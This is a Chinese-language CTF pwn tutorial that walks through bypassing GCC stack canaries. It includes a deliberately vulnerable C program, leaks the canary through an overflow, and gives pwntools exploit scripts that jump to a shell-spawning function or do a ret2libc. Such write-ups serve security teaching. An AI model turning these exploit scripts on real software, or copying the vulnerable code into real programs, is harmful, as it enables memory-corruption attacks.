ctfwiki-pwn:canary
GCC 中使用以下參數設置 Canary:
-fstack-protector 啟用保護,不過只為局部變量中含有數組的函數插入保護
-fstack-protector-all 啟用保護,為所有函數插入保護
-fstack-protector-strong -fstack-protector-explicit 只對有明確 stack_protect attribute 的函數開啟保護
-fno-stack-protector 禁用保護
Canary
序言
Canary 是一種十分有效的解決棧溢出問題的漏洞緩解措施。但是并不意味著 Canary 就能夠阻止所有的棧溢出利用,在這里給出了常見的存在 Canary 的棧溢出利用思路,請注意每種方法都有特定的環境要求。
源碼:
// ex2.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[100];
for(int i=0;i<2;i++){
read(0, buf, 0x200);
printf(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return 0;
}
編譯為 32bit 程序并關閉 PIE 保護 (默認開啟 NX,ASLR,Canary 保護)
gcc -m32 -no-pie ex2.c -o ex2
我們使用gdb-peda,嘗試獲取溢出的偏移值,發現程序報錯了SIGABR
SIGABRT是中止一個程序,它可以被捕捉,但不能被阻塞。處理函數返回后,所有打開的文件描述符將會被關閉,流也會被flush。
這里我的理解是我們開啟了canary,我們輸入的字符覆蓋了canary插入的cookie,被檢測出來了,程序就終止了。
Canary 實現原理
開啟 Canary 保護的 stack 結構大概如下:
泄露棧中的 Canary
Canary 設計為以字節x00結尾,本意是為了保證 Canary 可以截斷字符串。 泄露棧中的 Canary 的思路是覆蓋 Canary 的低字節,來打印出剩余的 Canary 部分。 這種利用方式需要存在合適的輸出函數,并且可能需要第一溢出泄露 Canary,之后再次溢出控制執行流程。
Canary 繞過技術
首先通過覆蓋 Canary 最后一個x00字節來打印出 4 位的 Canary 之后,計算好偏移,將 Canary 填入到相應的溢出位置,實現 Ret 到 getshell 函數中
我們先嘗試獲取canary的值,因為是小端,所以canary高地址存的是0,那么我們將0覆蓋后就可以打印出canary的值了
from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
io=process('./ex2')
getshell=ELF('./ex2').sym['getshell']
io.recvuntil("Hello Hacker!
")
io.sendline('a'*100)
io.recvuntil('a'*100)
Canary=io.recv(4)
print(":"+str(Canary))
print(u32(Canary)) #格式轉換
運行如圖所示,我們成功將canary的值打印出來了:
得到canray值之后,在第二次循環中我們可以在棧中相對的位置寫入canary值,然后再寫入shellcode
在IDA PRO中查看vuln函數:
根據IDA PRO查看的信息,這里列出在vuln函數中的棧:
發現了buf到canary的偏移為0x70-0xC=100,我們在0xC的位置填上canary的值,這時候填充到了ebp-8h的位置(即到ebp的位置為8)
我們填充8個字節到ebp,然后再用4個字節覆蓋舊的ebp,之后才是我們想要的ret位置
canary到返回地址的大小=8個字節(填充)+4個字節(oldebp)
編寫EXP:
from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
io=process('./ex2')
getshell=ELF('./ex2').sym['getshell']
io.recvuntil("Hello Hacker!
")
io.sendline('a'*100)
io.recvuntil('a'*100)
Canary=io.recv(4)
payload='a'*100+p32((u32(Canary)-0xa))+'a'*12+p32(getshell) #buf + canary + canary到返回地址的大小 + 返回地址
io.sendline(payload)
io.recvuntil('a'*100)
io.interactive()
運行:
附(學會舉一反三):
利用我們pwn實驗2的ret2libc,編寫EXP:
from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
libc_base=0xf7dc9000
system=libc_base+0x0045830
bash=libc_base+0x00192352
io=process('./ex2')
io.recvuntil("Hello Hacker!
")
io.sendline('a'*100)
io.recvuntil('a'*100)
Canary=io.recv(4)
payload='a'*100+p32((u32(Canary)-0xa))+'a'*12+p32(system)+p32(0xdeadbeef)+p32(bash)
io.send(payload)
io.recvuntil('a'*100)
io.interactive()
總結
以上是生活随笔為你收集整理的ctfwiki-pwn:canary的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 墨西哥人说什么语(墨西哥人为什么说西班牙
- 下一篇: 银行春节后几号上班(正月银行什么时候上班